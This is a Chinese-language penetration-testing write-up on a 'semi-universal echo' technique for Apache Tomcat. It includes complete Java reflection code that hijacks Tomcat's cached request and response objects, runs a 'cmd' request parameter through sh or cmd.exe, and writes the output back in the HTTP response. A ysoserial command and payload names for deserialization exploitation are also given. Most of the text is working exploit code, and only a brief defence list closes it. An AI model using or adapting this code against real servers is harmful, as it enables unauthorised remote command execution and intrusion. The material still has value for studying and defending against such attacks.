Tomcat中一种半通用回显方法
字数 1000 2025-08-20 18:17:07
Tomcat半通用回显方法技术文档
1. 技术背景
在渗透测试中,当遇到反序列化漏洞或其他Java代码执行场景时,由于网络限制或防护措施,传统的反弹shell方式可能失效。回显技术通过将执行结果附加到HTTP响应中,可以绕过这些限制。
2. 技术原理
2.1 核心思路
通过反射修改Tomcat内部变量,获取当前请求的Response对象,从而将命令执行结果直接写入HTTP响应。
2.2 关键发现
在org.apache.catalina.core.ApplicationFilterChain类中发现了两个关键静态变量:
lastServicedRequest(ThreadLocal) lastServicedResponse(ThreadLocal)
这些变量在ApplicationDispatcher.WRAP_SAME_OBJECT为true时会被设置为当前请求的request和response对象。
3. 实现步骤
3.1 反射修改关键变量
// 获取并修改WRAP_SAME_OBJECT字段
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher")
.getDeclaredField("WRAP_SAME_OBJECT");
// 获取并修改lastServicedRequest和lastServicedResponse字段
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
// 修改final修饰符
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
// 设置字段可访问
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
3.2 初始化变量
ThreadLocal<ServletResponse> lastServicedResponse =
(ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest =
(ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
// 初始化变量
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
}
3.3 执行命令并回显
// 获取命令参数并执行
String cmd = lastServicedRequest != null
? lastServicedRequest.get().getParameter("cmd")
: null;
if (cmd != null) {
ServletResponse responseFacade = lastServicedResponse.get();
responseFacade.getWriter();
java.io.Writer w = responseFacade.getWriter();
// 获取底层Response对象
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
Response response = (Response) responseField.get(responseFacade);
// 重置usingWriter标志
Field usingWriter = Response.class.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set((Object) response, Boolean.FALSE);
// 执行命令
boolean isLinux = !System.getProperty("os.name").toLowerCase().contains("win");
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
// 写入响应
w.write(output);
w.flush();
}
4. 集成到ysoserial
已修改的ysoserial版本支持Tomcat回显,将第二个参数改为要执行的命令参数名(如"cmd"):
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2TomcatEcho cmd
支持的payloads:
- CommonsCollections2TomcatEcho
- CommonsCollections3TomcatEcho
- CommonsCollections4TomcatEcho
5. 技术局限性
-
Filter限制:在Filter中执行的代码(如Shiro的rememberMe功能)无法使用此方法,因为请求尚未被缓存。
-
需要两次请求:第一次请求用于反射修改变量,第二次请求才能获取回显。
-
Tomcat版本兼容性:依赖于特定Tomcat内部实现,不同版本可能需要调整。
6. 适用场景
- 开发人员编写的Controller中的代码执行场景
- 反序列化漏洞利用
- 其他Java代码执行场景(非Filter中)
7. 防御建议
- 限制反射权限
- 监控关键Tomcat类的修改
- 及时更新Tomcat版本
- 对用户输入进行严格过滤
8. 参考资源
- 修改版ysoserial: https://github.com/kingkaki/ysoserial
- 原始思路参考: https://xz.aliyun.com/t/7307